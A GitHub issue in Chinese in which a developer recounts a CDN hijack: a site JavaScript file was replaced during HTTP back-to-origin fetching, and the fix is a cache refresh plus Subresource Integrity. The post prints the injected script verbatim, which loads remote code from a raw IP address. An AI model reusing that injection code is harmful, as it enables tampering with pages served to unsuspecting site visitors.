Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

一次劫持的经历 #24

Open
cqupt-yifanwu opened this issue Mar 12, 2018 · 0 comments
Open

一次劫持的经历 #24

cqupt-yifanwu opened this issue Mar 12, 2018 · 0 comments

Comments

@cqupt-yifanwu
Copy link
Owner

cqupt-yifanwu commented Mar 12, 2018

一次劫持经历
突然发现官网某个网页js没办法运行,js报错,查看后发现因为HTTPS资源中混入了HTTP资源,所以导致报错,js无法运行,可是官网的所有资源都是https的怎么会出现了HTTP资源,检查发现我们的一个原始文件被替换为

var _jsurl = "http://cdn.bdstatic.com/portal/fa91a15/js/partner/learningSession/coedu.js";
_jsurl += (_jsurl.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());var _b = "test1";
var _c = "427308_(iKgtV1ykV1Phit8kih==_2790938930";
var jN1=document.createElement("script");jN1.setAttribute("type","text/javascript"),jN1.setAttribute("src",_jsurl),document.head?document.head.appendChild(jN1):document.body&&document.body.appendChild(jN1);
var jN2=document.createElement("script");
jN2.setAttribute("type","text/javascript"),jN2.setAttribute("src","http://27.115.80.220:8001/pjk/xjk/index.php?b="+_b+"&pid=1&c="+_c),document.head?document.head.appendChild(jN2):document.body&&document.body.appendChild(jN2);

分析发现,这段代码将我们的资源重新加载(coedu.js),并且添加了自己的资源,由于资源是HTTP协议,所以出现了上述情况。
问题是,为什么我们的原始文件内容变成了这样,分析后发现原因应该是CDN劫持(回源过程中),当我们访问某个资源时会去附近的CDN节点上进行访问,如果这个资源存在则使用CDN上的这个资源,这个过程是HTTPS加密的,所以不存在劫持,可是当我们的资源发生了变化,或者是CDN上没有这个资源,那么就会去源节点上去寻找这个资源,并且拉取到这个CDN上,这个过程就是回源(我们的原始节点在百度云BOS对象存储上),回源的这个过程是HTTP的,所以这个过程存在风险,资源在这个过程中有被篡改或者替换的可能。

所以我们只要去刷新一下CDN上的缓存,使其重新去源节点上重新拉取,尽管这个过程还是会存在一定的风险,而且必须是我们发现了类似的情况才能去解决这个问题,script 标签新增了integrity属性,子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

https://developer.mozilla.org/zh-CN/docs/Web/Security/子资源完整性

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant